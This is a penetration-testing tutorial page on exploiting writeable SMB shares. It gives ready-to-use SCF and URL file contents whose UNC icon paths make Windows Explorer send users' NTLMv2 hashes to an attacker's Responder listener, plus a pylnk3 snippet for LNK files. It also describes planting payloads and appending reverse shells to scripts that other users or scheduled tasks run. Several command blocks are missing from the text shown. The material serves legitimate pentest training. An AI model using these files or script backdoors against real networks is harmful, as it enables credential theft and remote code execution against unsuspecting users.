Writeable SMB Share Exploitation – Hash Capture and Payloads
A writeable SMB share gives you two attack paths: drop a file that forces authentication back to you when a user browses the share, or plant a payload that executes when triggered. Both techniques abuse the fact that Windows automatically processes certain file types when a folder is opened in Explorer.
You need write access to an SMB share. Anonymous write, low-privilege domain user write, or any other level of share write access is enough. Local admin is not required.
Hash Capture with SCF Files
An SCF (Shell Command File) with a UNC icon path forces Windows Explorer to authenticate to your listener when the folder is opened. The authentication is automatic and silent.
Create @steal.scf (the @@ causes it to sort to the top of the directory listing):
[Shell]
Command=2
IconFile=\\$LHOST\share\icon.ico
[Taskbar]
Command=ToggleDesktop
Start Responder to catch the incoming authentication:
Warning
This may be restricted in exams such as OSCP. Responder poisoning and spoofing is explicitly not allowed on the OSCP exam. Verify exam rules before use.
Upload the SCF file to the writeable share:
When any domain user opens the share in Explorer, their NTLMv2 hash arrives at your Responder listener. Crack it with hashcat mode 5600 or relay it with ntlmrelayx — see https://hackindex.io/services/smb/exploitation/ntlm-relay.
Hash Capture with URL Files
.url files work the same way as SCF files and are processed by Explorer on folder open:
[InternetShortcut]
URL=file://$LHOST/share/
IconFile=\\$LHOST\share\icon.ico
IconIndex=1
Save as capture.url and upload to the share. Same Responder listener catches the hash.
Hash Capture with LNK Files
LNK (shortcut) files with a UNC icon path also trigger authentication. Generate one with a known-working format:
import pylnk3
lnk = pylnk3.create('lnk')
lnk.save('steal.lnk')
Or use nxc to generate and drop an LNK directly:
The slinky module plants an LNK in every writeable share it finds and starts listening for hashes.
Planting a Payload for Execution
If users on the target are likely to execute files from the share, plant a payload directly. This is most effective on shares that are used as software repositories, scripts folders, or startup locations.
Generate a payload:
Upload it with a convincing name:
Start a listener:
If the share is a startup or login script location, execution may be automatic. Otherwise you are relying on a user running the file.
Overwriting Existing Scripts
If the writeable share contains .bat, .ps1, or .vbs files that are executed by other users or by scheduled tasks, append a reverse shell to an existing script rather than planting a new file:
Download the script, append your payload, re-upload:
This is more reliable than a standalone payload because the script is already trusted and likely already executing on a schedule.
Checking Writeable Shares with nxc
If you need to discover writeable shares first rather than targeting a known one:
Shares marked WRITE are candidates. Follow up with a write test:
If the upload succeeds, the share is writeable. Delete the test file afterward.
References
-
Laurent Gaffie Used to catch NTLMv2 hashes from forced UNC authentication.
-
NetExec (nxc)github.com/Pennyw0rth/NetExec (opens in new tab)
slinky module documentation for automated LNK planting.
Was this helpful?
Your feedback helps improve this page.